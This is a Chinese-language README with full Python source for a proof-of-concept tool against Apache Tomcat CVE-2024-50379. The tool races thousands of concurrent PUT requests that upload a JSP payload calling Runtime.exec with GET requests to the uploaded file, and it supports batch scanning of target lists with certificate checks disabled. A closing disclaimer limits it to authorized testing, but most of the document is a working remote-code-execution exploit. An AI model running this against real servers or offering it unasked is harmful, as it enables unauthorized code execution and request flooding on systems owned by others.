Apache Tomcat CVE-2024-50379 漏洞检测工具
高性能高并发的PoC工具,用于检测Apache Tomcat服务器是否存在CVE-2024-50379条件竞争漏洞,可导致远程代码执行(RCE)。支持单目标与批量检测,并提供详细的漏洞确认输出。
功能特性
- 双协议支持:自动检测HTTP与HTTPS协议
- 高并发扫描:内置10,000级线程池,快速完成条件竞争触发
- 精准检测:通过PUT上传恶意JSP文件与GET请求回显组合检测漏洞
- 批量处理:支持从文本文件读取URL列表进行大规模扫描
- 彩色输出:发现漏洞时红色高亮显示目标URL
- SSL免验证:忽略证书校验,避免HTTPS证书错误干扰
安装指南
系统要求
- Python 3.6+
- pip包管理器
依赖安装
pip install requests urllib3
源码获取
git clone https://github.com/your-repo/tomcat-cve-2024-50379-poc.git
cd tomcat-cve-2024-50379-poc
使用说明
命令行参数
| 参数 | 说明 |
|---|---|
-u / --url | 单个目标URL或IP地址 |
-f / --txt | 包含URL列表的文本文件路径 |
基础用法
单个目标检测
python poc.py -u 192.168.1.100
批量检测
python poc.py -f url.txt
url.txt 文件格式示例
192.168.1.1
192.168.1.2:8080
example.com
https://target.com:8443
检测逻辑说明
工具执行以下操作检测漏洞:
- 向目标服务器发送PUT请求,尝试上传
aa.Jsp、bb.Jsp、aa.jsp、bb.jsp文件并注入JSP恶意代码 - 同时发送GET请求尝试访问上传的JSP文件
- 利用高并发请求触发条件竞争
- 若服务器返回201或200状态码,判定漏洞存在
输出示例
发现漏洞时:
Checking http://192.168.1.100/...
Response status: 201
Response status: 200
Find: http://192.168.1.100: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!
无漏洞时:
Checking https://target.com/...
Response status: 404
Response status: 403
核心代码
漏洞检测主函数
def check(url):
protocols = ['http://', 'https://']
found_vulnerabilities = False
for protocol in protocols:
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
print(f"Checking {target_url}...")
target_url_put1 = urljoin(target_url, "/aa.Jsp")
target_url_put2 = urljoin(target_url, "/bb.Jsp")
target_url_get1 = urljoin(target_url, "/aa.jsp")
target_url_get2 = urljoin(target_url, "/bb.jsp")
headers1 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Content-Type": "application/json"
}
headers2 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
}
payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"
# 高并发线程池触发条件竞争
with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
futures = []
for _ in range(10000):
futures.append(executor.submit(requests.put, target_url_put1, verify=False, headers=headers1, data=payload_put))
futures.append(executor.submit(requests.put, target_url_put2, verify=False, headers=headers1, data=payload_put))
futures.append(executor.submit(requests.get, target_url_get1, verify=False, headers=headers2))
futures.append(executor.submit(requests.get, target_url_get2, verify=False, headers=headers2))
for future in concurrent.futures.as_completed(futures):
try:
response = future.result()
print(f"Response status: {response.status_code}")
if isinstance(response, requests.Response):
if (response.status_code == 201) or (response.status_code == 200):
found_vulnerabilities = True
except Exception as e:
print(f"Error occurred: {e}")
if found_vulnerabilities:
print(f"\033[31mFind: {url}: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!\033[0m")
return True
文件读取函数
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
主入口逻辑
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
check(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
⚠️ 免责声明
本工具仅用于安全测试与研究目的。未经授权使用本工具攻击目标系统属于违法行为。使用者须遵守当地法律法规,并自行承担全部责任。 6HFtX5dABrKlqXeO5PUv/6Fn8owtg7Bcj3wEq0JgPj4BWJKOad+zj7NihdjZU7Om